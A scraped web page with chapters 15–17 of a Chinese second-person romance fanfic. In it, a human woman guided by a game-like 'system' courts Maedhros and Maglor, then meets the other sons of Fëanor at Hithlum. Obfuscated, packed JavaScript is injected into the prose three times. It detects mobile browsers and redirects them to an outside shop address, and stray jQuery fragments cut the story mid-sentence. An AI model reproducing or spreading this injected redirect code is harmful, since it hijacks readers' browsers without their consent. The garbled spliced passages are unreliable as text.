后悔了,原来偶尔当老实人也有好处的啊。 一觉醒来,外面的天气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860530|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还算晴朗,你在离开多瑞亚斯以后的生活质量直线下降,果然由奢入俭难啊,但愿他们希斯路姆真的很宜居,不然你真的会有点郁闷的啊。 你站起身,将毛毯叠好收起来,然后收拾收拾东西,今天准备早餐的是玛格洛尔,他递给你一杯蜂蜜水,还有一块涂抹了果酱的面包,你一手拿着蜂蜜水一手拿着面包安安静静地吃自己的早餐。 早晨的时光就被你像是吃果酱面包那样一口一口地吃掉。 迈兹洛斯带着那三匹马去河边喝水,只留下你和玛格洛尔,他问你蜂蜜水会不会太甜了,你说还好,他接着又说:“我用的是那个灰精灵送给你的蜂蜜。” 你应了一声,说:“哦,你是说梅林啊。” “你和他的关系已经亲近到了互相称呼姓名的地步了吗?” 他要不要仔细听听自己到底在说什么? 你说:“不然呢?总不能称呼他为灰精灵吧?多瑞亚斯到处都是灰精灵啊。” 玛格洛尔发现你又在玩文字游戏了,这样的游戏玩一次两次还好,总是玩下去,也是会让他丧失耐心的,他说:“你总是插科打诨。” “你总是一本正经。” “我愿称之为严谨。”他说。 你得要非常努力地才能控制住不笑出来。 “好吧,严谨就严谨吧,但我想你的哥哥肯定比你心里有数。”言下之意就是别瞎操心了,当恋爱保安是没有前途的,一起来谈恋爱不好吗?当然了,你可以确定就算日后你脚踏多条船的事情被爆出来了,他们应该也不会反目成仇的,毕竟他们兄弟俩的关系真的很好。 这让你一点愧疚感都没有。 你站起身,向他靠近,你靠近一步他就后退一步,搞得你们在练舞似的,最后你抓住他的手腕,“你在怀疑我会不忠吗?” “没有。” 他将你的脸庞看得好仔细,你的眉眼还有淡粉色的嘴唇,以及在唇齿见若隐若现的舌尖。 他见过你用舌尖舐去指腹沾染的果酱,动作慢条斯理。 你在享受着他的局促不安,他忽然意识到这一点。 就没有什么方法能够让你安静一会吗?比如说捂住你的嘴,又比如说堵住你的嘴。 “不妨我们都退一步,换个话题聊聊如何?比如说你的小腿伤势,那伤口今天恢复得怎么样了?”你探手,好像真的只是想要妥协。 玛格洛尔的声音卡在喉咙里不上不下的,就在这时迈兹洛斯也折返回来,见到你就说:“你醒啦,吃过早餐了吗?” 玛格洛尔后退一步,听见你说:“吃过了,玛格洛尔准备的早餐很美味,我刚才还在好好感谢他呢。” 那算哪门子的感谢,玛格洛尔形象,但你神采奕奕地看向他,说:“我说的对吗?” 玛格洛尔终于动了动嘴唇,说出了一句谎言,“对啊。” 他在说谎,是鬼使神差的谎言。 15.第 15 章 值得庆幸的是他的哥哥迈兹洛斯并没有察觉到异样,他说着待会等马匹喝够了水就可以出发了。 该怎么做呢?他现在应该和他的兄长坦白吗? 可又应该怎么说呢?无论他再怎么斟酌用词和遣词造句,听上去都像是在的挑拨离间,而且当初也是你冒着生命危险将他的兄长解救的,所以他也不该那么斤斤计较的,玛格洛尔搬出了很多理由,最后说服自己。 你就没有玛格洛尔那么纠结了,相反地,你像个旁观者一样欣赏着玛格洛尔纠结为难的神情,这个世界的娱乐活动实在是太少了,以至于你只能从这种东西上面寻找乐趣。 迈兹洛斯简单地用过早餐,旋即你们三个走到河边,白马黑马都在喝水,听见你们的动静,你的黑马抬起脑袋,还在砸吧砸吧嘴吃水草。 后来你又给它喂了一点干粮,那不是普通的干粮而是从多瑞亚斯带出来的干粮。 “这也是多瑞亚斯的东西?”玛格洛尔看着你拿在手里的干草,忍不住问道,“你都从他们那里拿了多少东西?” 这感觉就像是你去一家名为多瑞亚斯的高级酒店住了一阵子,走的时候还不忘薅羊毛,你又抓了一把干草喂给玛格洛尔的黑马,你说:“这是封口费。” 玛格洛尔的黑马欣然接受你递过来的干草,你冲玛格洛尔眨眨眼,说:“瞧,它接受了。” 它接受不代表他也接受了,玛格洛尔说:“马儿怎么会拒绝好品质的干草呢?” “所以我也没有责怪它,这是人之……马之常情。”你临到嘴边把那个常用的词语改了一下。 玛格洛尔一方面惊讶于你的油嘴滑舌,另一方面又觉得你说的好像也没问题。 迈兹洛斯笑着说:“我很高兴看到你们聊得那么高兴。” 这是聊得高兴的样子吗?玛格洛尔就像是头一天认识自己的兄长似的,他哥哥的眼睛依旧明亮有神,但为什么刚才还在睁着眼睛说瞎话呢? “我也很高兴。”你顺着迈兹洛斯的话头说。 真不知道你们都在高兴什么劲,玛格洛尔的内心产生几分无力感。 他以前见识过坠入爱河的精灵性格多多少少会发生变化,但他没想到这也会发生在他的哥哥身上。 他清楚地记得他哥哥以前可不是这样的。 耐心地等马吃完干草,然后迈兹洛斯说:“好了,现在我们也该继续上路了。” 玛格洛尔忽然有些担心,不光是在担心自己的哥哥付出的感情被辜负,更担心你到达希斯路姆营地以后他的那些个弟弟都要遭殃,他尚且还能维持理智,保持理性的态度对待你,但自己的弟弟,比如说凯勒巩,那些单纯的精灵真的能够抵挡你的甜言蜜语吗? 玛格洛尔一个翻身坐在马背上,心事重重,他决定了,等回到希斯路姆就要和自己的弟弟们好好说一说你,一定要赶在你接触他们之前。 这是防患于未然。 骑马赶在前头的你偶尔也会回过头,像是照顾玛格洛尔似的看看他,确认他有没有跟上。 怎么,你未免也太低估他的马术了吧?玛格洛尔蹙眉,一声不吭地提速,超过你的黑马,将你甩在脑后,但他这一行为被你误当成了比赛的讯号,你紧握着缰绳,双眼因为兴奋烧得透亮,你说:“比赛现在就开始了吗?玛卡劳瑞,你可要小心了,我会超过你的。” 玛格洛尔一时之间不知道该提醒你别那么亲密地呼唤他的母名还是告诉你话别说得太满,但最后他选择了第三个选项,那就是真的将其当成一场比赛。 迈兹洛斯也加入你们的比赛,一时间还真是不分伯仲,上一瞬还是你赶超在玛格洛尔前头,下一秒玛格洛尔就又缩短你们之间的距离,迈兹洛斯更是一直控制着自己的速度,玛格洛尔知道的,只要他想,这场比赛会马上结束,他是最后的赢家。 因为靠得太近,在某次玛格洛尔想要超过你的时候,你那被风吹起的斗篷下摆掠过他的手背,触感轻柔,仿佛是你在抚摸他。 玛格洛尔一时慌了神,最后是你赢了,你得意洋洋地回过头,朝他扬起下巴,说:“玛卡劳瑞,我赢了。” “不要那么叫我。”玛格洛尔犹豫几秒后才挤出这一句话,他的语气再结合他的神态,成功地让你再一次误解,觉得他是玩不起,也输不起,你大大方方地说:“好了,我知道这次是我运气好,毕竟你的马术也很优秀,和迈兹洛斯不相上下。” 他又将他和他的兄长相提并论。 玛格洛尔说:“我没生气。” “那我还能叫你的母名吗?”你试探性地问道。 他又不是什么小气的精灵,叫了就叫了,因此他说:“随便你。” 迈兹洛斯说:“玛卡劳瑞的性格一直都很好。” 那可不一定,你在心里补充一句,正如同人类有千人千面这一说,精灵也是,可能在他的兄长面前玛格洛尔确实是个性格温和的好精灵,但你可不觉得一个当了摄政王许多年的精灵会温和到哪里去。 都是迈兹洛斯对他弟弟的滤镜太厚了。 你见好就收,免得真把他给惹炸毛了,那后面就没法玩了,正所谓凡事都要把握一个度,你瞥了一眼和哥哥说着什么的玛格洛尔,你觉得自己把控得很好。 因此你哪怕和玛格洛尔道歉没有半分真诚的歉意,全是都自己操作的欣赏。 后面几天赶路都没发生什么,如果真的要提有什么小插曲的话,大概就是下线有一段时间的系统突然诈尸。 【啊呀,一段时间没上来,你现在都快要把迈兹洛斯给攻略成功啦!我就说吊桥效应加一见钟情是王炸吧!】 一上线就说些有的没的的废话,此时的你正围在火堆旁边烤火顺便将刚刚洗过的头发烤干。 系统还发现了迈兹洛斯身边的玛格洛尔,它更加激动了,【啊呀,迈兹洛斯的弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你是怎么做到每一颗浆果都很甜的?” “是果树告诉我的。”迈兹洛斯说。 要是换成别人说这种鬼话你估计会翻个白眼,但精灵这么说,你居然觉得真有点可能。 难怪精灵喜欢生活在野外,这不是大自然亲和力都点满了吗? 唉,伊露维塔好偏心啊,当然也有可能因为你是外地人,所以你压根没感觉到过所谓大自然的声音,太玄乎了。 你本来还是半干的头发在迈兹洛斯的梳理下变得差不多干了,你也吃了一半的浆果,有点吃不下了,你就要将剩余的一半递给迈兹洛斯,他说:“抱歉,我现在不方便吃东西。” 那问题不大,你用手指捻起一颗深粉色的树莓,递到他的嘴边。 只见他低下头,白洁的牙齿轻轻地滑过你的指腹,舌尖卷走浆果,可还是不知足地舐过你的手指。 于是你的指尖传来一阵濡湿的触感。 16.第 16 章 感觉就像是被大型犬给舔了一下,猝不及防地。 你眨了眨眼睛,很快就反应过来,迈兹洛斯抬眼,那眼眸里带着些许笑意,这让你忍不住捏了一下他的脸颊,说:“不要随便那么做。” 迈兹洛斯回答:“我不是随便做的。”言下之意就是他很认真。 或许是你之前只看到了他纯情的一面,但精灵都是多面的,这也算是给你带来一个惊喜吧,你用手帕擦拭自己的手指,把剩下的浆果都递给他,然后说:“好吧。” 迈兹洛斯不太确定你现在的心情,是在生气吗?他就直接问道:“你在生气吗?” 啊?你也没必要因为这种小事情而生气吧,你说:“没有啊。” 他真的该问问其他有经验的精灵到底该怎么展开一段恋情了,现在的他完全是一头雾水的状态,只能凭借着自己的本能靠近你,但如果控制不好方法的话,没准会起反效果。 所以迈兹洛斯在心里默默地做了决定,那就是一等回到希斯路姆就询问有经验的精灵。 他接过你的手帕替你擦拭手指,你发现他好像很习惯性地做这些照顾你的事情,你猜是因为他以前就经常这么照顾自己的弟弟们吧,都已经养成习惯了。 你说:“这种小事我自己来做就好。” “但我总想为你做点什么,请允许我那么做。”迈兹洛斯用温和的语气说出无法被拒绝的话语。 也行吧,既然他都已经这么说了,你就任由他擦拭你的手,而等玛格洛尔带着那三匹马散步回来就看见了你伸出手让他的哥哥迈兹洛斯擦拭的画面,你倒是很擅长让周围的精灵为你服务,他在你身边的时候你就理所当然地使唤他,而当他的兄长陪在你身边的时候那更是恨不得什么事情都让他的兄长来。 这样的评价好像有些极端了,玛格洛尔皱眉,他不该那么想你的,这就跟恶意揣测似的,但他的心头就是稍微有点烦闷而已。 他以为等到了希斯路姆以后就会好转,但真的等即将抵达希斯路姆,当营地的旗帜跃入他的视野里,他却反而更加烦躁了,那种感觉是说不上来的。 希斯路姆只是一个暂时驻扎的营地,但因为诺多精灵擅长打造东西,所以哪怕只是暂时驻扎的营地中心也建造起气势恢宏的宫殿,并且以宫殿作为原点向外辐射建造其他类型的附属建筑物,例如图书馆,又比如种植园,当然还有不可或缺的工坊。 那代表费艾诺一脉的旗帜在风中摇曳着,在现场的你和迈兹洛斯都不知晓他内心的复杂心情。 当天负责巡逻的精灵已经发现了你们,当即就把这个好消息给传回去。 “迈兹洛斯殿下,还有玛格洛尔殿下都回来了——”那个诺多精灵激动地告诉凯勒巩,后者唰地一下站起来,大步流星地穿过长廊,因为步履匆匆,他的浅色衣摆翻涌成洁白的海浪,看他那气势汹汹的样子也确实像是海浪。 那名为凯勒巩的海浪朝着宫殿大门口涌去,他先是看见了自己的大哥,完好无损地回来了,没有缺胳膊少腿,而且气色红润神采奕奕的,凯勒巩小跑过来,也不管迈兹洛斯还在和你说些什么,他嚷嚷着“麦提莫你总算是回来了”就跑到迈兹洛斯跟前。 “慢点,可别吓到我们这位客人了。”迈兹洛斯提醒道。 凯勒巩一路上跑来那头蓬松的金色长发都稍显凌乱,毛茸茸的金色碎发耷拉在他的侧脸,他的五官没有迈兹洛斯那么成熟,你隐约还能从他的眉眼间找出几分稚气,金色长发搭配蓝色的眼瞳,很经典的配色,再搭配他傲娇的性格,这样的角色配置已经让你在脑海里浮现出人山人海的影子了。 在凯勒巩看你的时候,你也理直气壮地看了回去,然后就被他的金发闪了眼睛。 哎不是,他的金发怎么这么闪耀啊?比多瑞亚斯的灰精灵的金发都要闪耀好几倍,你下意识地眯起眼睛,然后再定睛一看,发现他那头金色长发里暗藏玄机,他往自己的发辫里还编了一串钻石饰品。 怪不得那么晃眼睛呢! 耀眼,实在是太耀眼了。 们精灵还是太讲究了。 凯勒巩双手叉腰,仗着比你长得高就微微低头俯视你,他说:“你这个精灵的耳朵怎么圆不溜秋的?” 问得好,当然因为你是人类啊。 这回是玛格洛尔替你回答的,他说:“因为她是人类。” “哦——噢噢!就是那个人类啊。”凯勒巩恍然大悟,他的手指摩挲着自己的下巴,这下子就更加要仔细地观察你了,但是他的举动惹来大哥迈兹洛斯的不满,他说:“好了凯勒巩,你这样不太礼貌,苏尔也不喜欢一直被你这么盯着。” 迈兹洛斯的劝诫起到了一丁点的作用,凯勒巩那双冰蓝色的眼睛眨了一下,紧接着瞳孔转了过来,说:“你的名字叫做苏尔啊?” 可以了吗?这下子总该轮到你的发言了吧?你对着凯勒巩伸出手,凯勒巩不太懂人类,他挑起一边的眉毛,反问:“你需要什么吗?” 他说话有种大脑前额叶还没发育成熟的美感。 你主动握住他的手,你手上也没带点,但凯勒巩就好像被电了一下,说:“你做什么?” 迈兹洛斯解释道:“这是人类的礼节,表示友好,看来苏尔愿意和你成为朋友。” 何止是朋友啊,凯勒巩也在你的攻略范围内,这意味着你之后还要把他搞到手呢。 你握住他的手轻轻地摇晃了两下,说:“幸会。” 凯勒巩说:“人类还有这种礼节吗?你们怎么不早点告诉我?”后半句话是对他的那两个哥哥说的,就像是埋怨他们俩,这岂不是显得他很没见识?他轻咳一声,本想着挽回自己的颜面,但就在这时他的二哥玛格洛尔说:“你过来一下,我有事情要对你说。” 啊?还有什么事情啊?他还想找回自己的场子呢。 虽然郁闷,但凯勒巩还是老老实实地跟着二哥离开,毕竟大哥可以得罪,二哥得罪了就会很麻烦的啊。 看着凯勒巩听话地跟着自己走到另外一边,玛格洛尔总算是觉得有事情是按照自己的想法来的,终于没再出现那种突发情况了。 “所以,你想要对我说什么呢?”凯勒巩问道,他发现二哥玛格洛尔的表情是前所未有的凝重,之前就算是应对魔苟斯的偷袭他的二哥也不会露出这种表情,这让凯勒巩也被对方的凝重感染,眉毛都皱到一块去了,他说,“又发生了什么吗?” 难道是魔苟斯又要对诺多做些什么? 玛格洛尔说:“也没什么,就是希望你小心苏尔。” 凯勒巩以为自己顿悟了,他说:“苏尔是魔苟斯派来的卧底!?” “能不能不要说得那么大声?”玛格洛尔恨不得捂住凯勒巩的嘴巴好让他安静地听自己说话,凯勒巩点点头,用气音说:“所以你试探过她了吗?” “也不算是试探,只是我希望你告诉其他费诺里安,让他们小心她。” 凯勒巩一脸严肃地表示自己听明白了,然后带着“使命必达”的态度折返回到宫殿,留下有些茫然的迈兹洛斯看向凯勒巩离去的背影,问道:“他怎么走得那么急匆匆的?” 玛格洛尔说:“没什么,估计是要将这个好消息通知给其他的费诺里安吧。” 真的吗?你怎么觉得玛格洛尔是在给自己的弟弟们一个预警呢?毕竟他和你相处的时候就没占过上风,所以才会那么着急地让凯勒巩提醒自己的弟弟,让他们提防你。 但其实也无所谓啦,就算提防也不会对你造成什么影响,想着,你又对玛格洛尔笑了一下,后者飞快地移开视线,装作没看见你的笑。 而另外一边的凯勒巩回到宫殿里先找到在库房清点库存的卡兰希尔,只见他啪地一下推开库房的门,对卡兰希尔说:“待会有个人类要过来,玛格洛尔让我们小心一点她。” 卡兰希尔看着被凯勒巩开门的动静打乱的文件,他放下鹅毛笔,抬起头看向凯勒巩,说:“你应该知道我在清点统计库房的数据对吧?” 凯勒巩的表情僵在脸上,他尴尬地“呃”了一声,然后赶在卡兰希尔发怒前连忙夺门而出,当然,他也没忘记带上门,以防让卡兰希尔更加生气。 通知完卡兰希尔,凯勒巩又去找库茹芬,在一众兄弟中他和库茹芬的关系最好,所以当他找到库茹芬的时候对方也是笑盈盈的,说:“你那么着急做什么?” 这才是他的好弟弟啊,凯勒巩在心里感叹一句,然后对库茹芬说:“有个人类待会要来这里,玛格洛尔让我们小心一点。” 库茹芬说:“哦是吗,那你就没问过为什么吗?” “这个……玛格洛尔也没说啊。” “唉,那你未免也太容易被旁人说动了吧?”库茹芬循循善诱地问道,“你就没有想过玛格洛尔特意避开迈兹洛斯和你说这些的真正原因是什么吗?” 库茹芬说的话确实让凯勒巩陷入沉思,也是,刚才他光顾着在意玛格洛尔那格外严肃的表情了,都忘了他突然那么说背后肯定还藏着什么秘密,还好库茹芬点破了,他皱起眉,说:“那你觉得会是什么呢?” 库茹芬示意凯勒巩坐下,他们两面对面坐下,库茹芬又说:“虽然我没接触过那个人类。” “苏尔,那个人类的名字叫做苏尔。”凯勒巩见缝插针地补充道。 “那我先谢谢你的补充。”即便库茹芬现在还没见过你,但他大概能够猜到一些,比如说让玛格洛尔那么紧张,估计是因为玛格洛尔在和你相处的时候发现你没有那么好应付。 事实证明库茹芬真的猜对了。 另外一边的你和迈兹洛斯还有玛格洛尔来到宫殿的入口,你站在大门口停留了一会,迈兹洛斯也站在你身边,说:“这还只是个暂时驻扎的营地,日后等领土确定下来了,还会有新的宫殿的。” 不是,你看这宫殿气势恢宏的样子结果听迈兹洛斯的意思这还只是个基础入门款?你再一次被诺多精灵的讲究程度刷新了认知。 玛格洛尔又问你:“想好晚餐吃什么了吗?这样吧,我先将后厨今天的菜单给你看看,你有什么想要添加的就直接写在上面好了。” 挺好,这里还能点餐呢,你一下子就把多瑞亚斯抛到脑后,唉,喜新厌旧就是人类的本性嘛,你也不能免俗的呀。 但你其实现在不怎么饿,因为来到一个新地方的新鲜感极大地冲淡了你的饥饿感,简单来说就是你现在更想了解这个宫殿的内部结构,而不是了解今晚后厨吃什么,所以你略带敷衍地对玛格洛尔说:“我都可以。” 玛格洛尔怎么可能没听出你话语里的敷衍。 他的眼神发生细微的变化,最后只是应了一声,然后转身离开,迈兹洛斯也顺势带着你参观这座宫殿,从前厅一直到后花园,中间由纵横交错的长廊连接,要不是有迈兹洛斯带路,毫无疑问你会在这座宫殿里迷路。 你忍不住问道:“这真的只是暂时驻扎的营地吗?” “是啊,不过日后这里应该会变成监视安格班的前线。”他们当初也是为了抵御魔苟斯的攻击外加想要解救迈兹洛斯才在这里驻扎下来的,只是没想到最后将他解救的人是你。 尽管你才来这里没多久,但是关于你的故事就已经传得满天飞了,没办法,精灵也是非常八卦的生物,而且“人类”“解救迈兹洛斯”还有“恋人”这些关键词拼凑在一起就算是再不怎么关心八卦的精灵都会忍不住竖起耳朵多听几句。 “你们确定迈兹洛斯殿下身边的那一位就是人类吗?” “是的是的,我可以确定,这还是我听凯勒巩殿下说的。” “真没想到人类居然这么厉害,似乎比精灵还要厉害啊,倘若日后人类与精灵为敌又该怎么办呢?” “那你真是想多了,那个人类还是迈兹洛斯殿下的恋人呀。” “啊、是恋人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一般来说都已经煽情到这地步了,你总得说些知心话才行,但你上辈子使用最熟练的可不是知心话而是垃圾话,所以你现在正在一堆垃圾话里寻找能说出口安慰迈兹洛斯的话语。 沉默太久就像是在装死,你还没想好说什么,所以一开口就是“你给我一种很特别的疏离的感觉。” 啊啊、套公式也不是这么套的啊! 但没办法,都已经开这个头了,你只能硬着头皮地往下说,“你和我见过的那些精灵都不太一样,我能感觉到你身上藏着的秘密,或许你现在还不能告诉我,但是没关系,我会等待你能告诉我的那一天的到来的。” 说完你感觉自己的牙根都在发酸。 好咯噔的话啊,你这么评价自己刚才说的话。 但还好这个世界还没有咯噔文学这种概念,淳朴的精灵也没见识过人心险恶,只知道你在关心自己,迈兹洛斯说:“我……” 迈兹洛斯的话被两串脚步声打断,这反而让你松了一口气,要你一直说这种咯噔的话真是考验你的演技啊。 因此你用感激的眼神看向朝这里走来的两个精灵,他们长相精致秀气,而且还和迈兹洛斯一样都是红发。 这应该就是迈兹洛斯先前和你提到过的那一对双生子了吧? 他们叫什么名字来着?这些精灵的名字都很拗口难记,你想了几秒,没成想他们贴心地自爆姓名。 “我叫阿姆罗德。”“我是阿姆拉斯。” 因为是双生子所以就连说话的声音都差不多,乍一听就像是有谁一口气说了两句话。 被他们这么一提醒你才从自己的记忆深处挖出关于这两个精灵的信息,他们算是费诺里安之中年纪较小的两个,这一点从他们的长相就能看出来,甚至不需要仔细看就能感觉到他们脸上的青涩感。 你说:“你们好,我是苏尔。” 他们俩对视一眼,两颗毛茸茸的红发脑袋凑在一块,又异口同声道:“我们已经听说过你了,你是迈兹洛斯的恋人对吗?” 果然八卦的消息就是传得很快啊。 迈兹洛斯无奈地叹了一口气,说:“这个你们又是从哪里听来的?是凯勒巩说的吗?” “是啊,你已经把答案给说出来了!”阿姆罗德说,你发现他白皙的脸颊上还稍微点缀着几颗雀斑,不算太明显,这点雀斑不会影响他的好看,甚至还起到了锦上添花的作用。 “我就知道……”迈兹洛斯又问,“那你们来这里就只是来见苏尔的吗?” 阿姆罗德说:“不光是我们,其他精灵也对迈兹洛斯你的恋人很好奇。” 迈兹洛斯没怎么正儿八经地管教过这对双生子,原因也很简单,他们年纪太小,迈兹洛斯也不舍得说重话,所以就养成了他们现在这幅性格,迈兹洛斯说:“但你们这样会让苏尔觉得很麻烦的。” 啊?麻烦吗?你个人不这么觉得啊,你还觉得这对双生子很可爱呢,你说:“没有,我很高兴见到你们。” 阿姆罗德和阿姆拉斯同时对你伸出手,他们说:“我们知道的,这是人类的礼节,初次见面要握手对不对?你可以同时握我们的手哦!” 那还真是太贴心了。 你一手握住阿姆罗德,另外一只手握住阿姆拉斯,然后轻轻地摇晃一下,他们俩笑得眉眼弯弯,说:“你比我们想得温柔多了。” “是么?那我原本在你们心里是什么印象的?” “嗯……不好说,毕竟迈兹洛斯喜欢你,那我们费诺里安也会欢迎你的。”阿姆拉斯说,你观察出了他们双生子在外貌上的区别,那就是阿姆拉斯的眼角还有一颗小痣,因为很细小,得要仔细看才能发现。 “是的,我们费诺里安会欢迎你的。” 一旁的迈兹洛斯心情微妙,他本来不是应该感到高兴的吗?他的弟弟都很欢迎你的到来,但他为什么……没有想象中的那么高兴呢? 17.第 17 章 为了表示欢迎你的到来,阿姆罗德和阿姆拉斯提议举办一场宴会,是的,精灵都非常喜欢举办宴会,而且这种宴会还和普通的派对不太一样,会更加隆重一些,你先前在多瑞亚斯的时候就见识过,宴会上的东西挺好吃的,但你对跳舞的兴趣不大,你承认自己没什么跳舞的天赋,所以就对宴会兴致缺缺。 阿姆拉斯对你眨了眨眼睛,问道:“你觉得呢?” 反正组织宴会的人也不是你,你只需要享受就好了,所以你也没有明确地拒绝,你说:“如果不会麻烦你们的话——” 阿姆罗德抢答道:“当然不会麻烦的!”精灵是那么喜欢宴会,在这一点上诺多精灵和多瑞亚斯的精灵也没什么区别。 说完这话阿姆罗德就拉着弟弟阿姆拉斯的手离开,他们来得风风火火,走得也是风风火火的,转眼间就又只剩下你和迈兹洛斯面面相觑,他说:“他们的性格就是这样,还有点幼稚,希望你不要介意。” 迈兹洛斯嘴里幼稚的精灵在年龄上大概也有个四位数了,你说:“我没有介意。” 因为这个小插曲你们刚才的煽情氛围消失得一干二净,迈兹洛斯又看看你,此时的你已经走到落地窗边,卧室外面还连接着一个露天阳台,这个位置的视野很好,几乎能将整个希斯路姆的美景都纳入眼底。 你站在阳台上眺望远方,迈兹洛斯自然而然地从身后拥抱你,将你完全地圈在自己的怀里。 得亏精灵的重量不符合物理学,否则他这体型倚靠着你肯定会让你觉得有点吃力的,但现在,你都没什么感觉,就像是一片树叶轻巧地落在你身上。 迈兹洛斯说:“你想好待会宴会的时候穿什么衣服了吗?” 差点忘了参加宴会还得要正装出席,不能像简单吃一顿晚餐那样穿着随意,这大概就是参加宴会的缺点吧。 你在多瑞亚斯的礼服都没怎么带走,毕竟你是去赶路的带那么多的礼服做什么? 所以现在新的问题出现了,你缺少一件礼服,你说:“随便穿一件就好。” 迈兹洛斯不怎么赞同地蹙眉,他说:“你确定吗?” “或者你的心里已经有打算了吗?”如果有的话就和你直说,别让你猜个不停,你已经过了谈恋爱还喜欢猜猜猜的年纪。 “嗯……”迈兹洛斯应了一声,然后从自己的行囊里取出一条红色长裙,那条裙子的颜色和他的发色很像,你略带疑惑地问道:“这条裙子又是从哪里来的?” 迈兹洛斯轻描淡写地说:“我在多瑞亚斯的时候顺手做的。” 哇,好一个顺手,他身上还有什么惊喜是你不知道的?你拿起那条红色长裙,简单的V领,广袖的设计让你梦回自己当年追古装电视剧的时候,但有所不同的是因为裙子的布料质地上好,所以这种设计也不会透露出影楼风,甚至可以说是古色古香的。 你嗅闻到裙子上面飘着的花香,确实挺香的。 不过等一下,你记得迈兹洛斯的缝纫技术很一般啊,上次在森林里给你缝斗篷的时候那针脚走得那叫一个歪七扭八,只能勉强让人夸一句具有设计感,其他的你是真的夸不出来了。 想到这里,你就不着痕迹,不动声色地仔细观察这条裙子查看上面的针脚,检查有没有多于的线头,但你的举动在迈兹洛斯看来就是你非常喜欢这条裙子,他问道:“你要去试试看吗?” 你没抬头,指腹还在摸索针脚,说:“等等。” 等你检查完了再试穿。 从头到尾检查一遍,这条裙子的针脚居然比你的心思还要缜密,你惊讶之余不由地抬头看了迈兹洛斯一眼,说:“你的针线活什么时候又进步了那么多?”你这话说得足够委婉了吧。 迈兹洛斯说:“只是稍微有点进步而已。” 他还跟你谦虚呢。 你转身走进旁边的盥洗室,这条裙子就没有太多花里胡哨的扣子,直接一套就好,你就喜欢这种设计简单的裙子,方便得很。 套上裙子,你从盥洗室里探出自己的上半身,乌黑的发丝伴随着你的动作垂在半空中,你笑得眉眼弯弯,说:“这裙子穿起来很简单,我很喜欢!” 迈兹洛斯站在原地,见你下一秒站直身体,然后三步并作两步地朝他走来,层层叠叠的裙摆摇曳生花,在距离他还有一步之遥的时候你打住脚步,这回换他主动向你靠近。 他的手臂环着你的侧腰,低下头,跟着他的红发一同飘过来的还有他身上的草木香味,他好认真地说:“我想亲你。” 想亲就亲呗,看他那么严肃你还以为他要说点什么大事情呢。 “可以啊。”你答应得很爽快,和他磨磨蹭蹭的亲吻形成鲜明对比,亲吻前还需要脸颊贴着你的侧脸,亲昵得像是在撒娇,这时候你就该摸一摸他的脖颈,看看他是不是在高兴得呼噜呼噜叫。 实际上你也确实那么做了,无论对于人类还是精灵来说脖子,尤其是咽喉都是脆弱而致命的地方,所以但凡有点戒备心的人都会对这一举动产生警惕。 但是迈兹洛斯没有,他只是问:“为什么只摸我的脖子?” 因为脖子以下不能描述,啊不是,是你在好奇他会不会发出猫咪幸福的呼噜声而已。 答案是没有。 过了一会他才低头亲亲你的唇角,然后是唇瓣,动作轻柔,态度是那么的小心翼翼,你都觉得他有点太慢热了,所以夺回主动权,他也没怎么犹豫就把主动权交给你。 你总觉得亲吻精灵的时候对方身上的草木香,花香还有一切属于大自然的香气都朝你飘来,于是你在结束一个吻后就对他说:“你好香啊。” 说完你都觉得这话俗套,忍不住哈哈笑了起来,对迈兹洛斯说:“忘掉我刚才说的话吧。” “为什么呢?这不是你的真心话吗?”迈兹洛斯不解道。 好吧,淳朴的精灵可不懂这些,你稍微收了点笑容,而后说:“嗯,也是,反正你都已经听见了。” 现在距离宴会还有一段时间,你参观完了寝宫就又忘外头走去,发现旁边还有个图书馆,正要进去,但被迈兹洛斯拦下,他说:“这是卡兰希尔的专属藏书室。” 卡兰希尔……你又把他们一群兄弟的名字都过了一遍,确定卡兰希尔就是排行第四的费诺里安,就是那个喜欢捣鼓数字的理科生,和他上头的哥哥凯勒巩还有下面的弟弟库茹芬格格不入的那一个。 你站在那个藏书室的大门前,既然迈兹洛斯都这么说了,你也没必要专门去看一个藏书室,里面又不会藏着黄金。 于是你把头一转,朝着另外一个方向走去,就这样在偌大的宫殿里消磨了许久,直到夜幕降临,迈兹洛斯换了一身衣服后和你一同前往宴会厅,这不是你头一次参加精灵的宴会了,但参加诺多精灵的宴会倒是头一遭。 还没等你真的走进宴会厅,你就已经闻到摆放在门口还有长桌上鲜花的香味了,以及那悬挂在天花板的宝石吊灯折射的耀眼灯光,你走到入口处,原本还在悠闲聊天的诺多精灵纷纷举杯欢迎他们的君主回归,你和迈兹洛斯一同走过的时候还听见其他精灵对他的祝福。 可能是宴会厅的灯光太过于耀眼,你感觉自己的眼睛被晃了几下,连带着脑袋都跟着变得晕乎乎的。 你拿过一杯果汁喝了一口,发现这看起来是果汁实则是酒精,好歹毒,居然伪装成了果汁的模样。 迈兹洛斯看你的表情就知道你的心里在想什么,他拿来另外一个杯子,这里面装着的才是果汁,他说:“你那杯给我吧。” 他用果汁替换酒精,又自然而然地喝你喝过的那一杯。 你喝了一口果汁,是百香果汁,好像还混杂了一点橙汁,所以味道格外清新,你也在这场宴会上见到了那个专属藏书室的拥有者,卡兰希尔。 他有着一头黑发,眉眼锐利,看上去脾气不怎么好的样子,他似乎也是你的攻略对象之一。 卡兰希尔说:“你就是苏尔?” 